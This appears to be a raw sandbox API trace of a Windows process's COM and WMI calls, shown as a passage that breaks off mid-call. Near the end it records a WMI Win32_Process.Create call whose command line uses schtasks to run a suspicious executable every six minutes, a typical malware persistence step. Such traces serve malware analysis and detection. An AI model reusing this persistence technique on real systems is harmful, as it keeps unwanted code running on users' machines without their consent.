CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0156.565] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0156.565] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0156.565] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.566] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbb3c10) returned 0x0 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3c10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0156.567] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3c10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc401c0) returned 0x0 [0156.567] WbemDefPath:IUnknown:Release (This=0x1bbb3c10) returned 0x0 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc401c0) returned 0x0 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0156.567] WbemDefPath:IUnknown:AddRef (This=0x1bc401c0) returned 0x3 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbb3d50) returned 0x0 [0156.567] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3d50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.567] WbemDefPath:IUnknown:Release (This=0x1bbb3d50) returned 0x3 [0156.567] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0156.567] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0156.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0156.567] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x2 [0156.567] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x1 [0156.567] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0156.567] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0156.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc401c0) returned 0x0 [0156.568] WbemDefPath:IUnknown:AddRef (This=0x1bc401c0) returned 0x3 [0156.568] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x2 [0156.568] WbemDefPath:IWbemPath:SetText (This=0x1bc401c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0156.568] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0156.568] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0156.568] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.568] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0156.568] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0156.568] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0156.568] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.569] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbb3cf0) returned 0x0 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3cf0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0156.570] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3cf0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40100) returned 0x0 [0156.570] WbemDefPath:IUnknown:Release (This=0x1bbb3cf0) returned 0x0 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40100) returned 0x0 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0156.570] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0156.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbb3d30) returned 0x0 [0156.570] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3d30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.570] WbemDefPath:IUnknown:Release (This=0x1bbb3d30) returned 0x3 [0156.570] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0156.571] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0156.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0156.571] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0156.571] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x1 [0156.571] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0156.571] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0156.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40100) returned 0x0 [0156.571] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0156.571] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0156.571] WbemDefPath:IWbemPath:SetText (This=0x1bc40100, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc401c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0156.571] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc401c0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40100, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40100, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0156.571] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc401c0, uIndex=0x0, pszName="root") returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40100, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40100, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0156.571] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc401c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40100, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40100, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0156.571] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc401c0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc401c0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc401c0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc401c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0156.572] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0156.572] IWbemServices:GetObject (in: This=0x1bc66090, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb5ee0, ppCallResult=0x0) returned 0x0 [0156.575] IWbemClassObject:GetMethod (in: This=0x1bbb5ee0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb6250, ppOutSignature=0x1bb7e690*=0x1bbb65c0) returned 0x0 [0156.575] IWbemClassObject:SpawnInstance (in: This=0x1bbb6250, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd4590) returned 0x0 [0156.576] IWbemClassObject:Get (in: This=0x1bbd4590, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c23f8*=0, plFlavor=0x28c23fc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c23f8*=8, plFlavor=0x28c23fc*=32) returned 0x0 [0156.576] IWbemClassObject:Get (in: This=0x1bbd4590, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c23f8*=8, plFlavor=0x28c23fc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c23f8*=8, plFlavor=0x28c23fc*=32) returned 0x0 [0156.576] IWbemClassObject:Put (This=0x1bbd4590, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0156.576] IWbemClassObject:Get (in: This=0x1bbd4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c2488*=0, plFlavor=0x28c248c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c2488*=13, plFlavor=0x28c248c*=32) returned 0x0 [0156.576] IWbemClassObject:Get (in: This=0x1bbd4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c2488*=13, plFlavor=0x28c248c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c2488*=13, plFlavor=0x28c248c*=32) returned 0x0 [0156.576] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb5800) returned 0x0 [0156.576] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0156.576] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0156.577] IUnknown:AddRef (This=0x1bbb5800) returned 0x3 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb5808) returned 0x0 [0156.577] IMarshal:GetUnmarshalClass (in: This=0x1bbb5808, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0156.577] IUnknown:Release (This=0x1bbb5808) returned 0x3 [0156.577] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0156.577] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0156.577] IUnknown:Release (This=0x1bbb5800) returned 0x2 [0156.577] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0156.577] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0156.577] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0156.577] IUnknown:QueryInterface (in: This=0x1bbb5800, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0156.577] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0156.577] IUnknown:AddRef (This=0x1bbb5800) returned 0x3 [0156.577] IWbemClassObject:Put (This=0x1bbd4590, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb5800, varVal2=0x0), Type=0) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40580, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e600 | out: 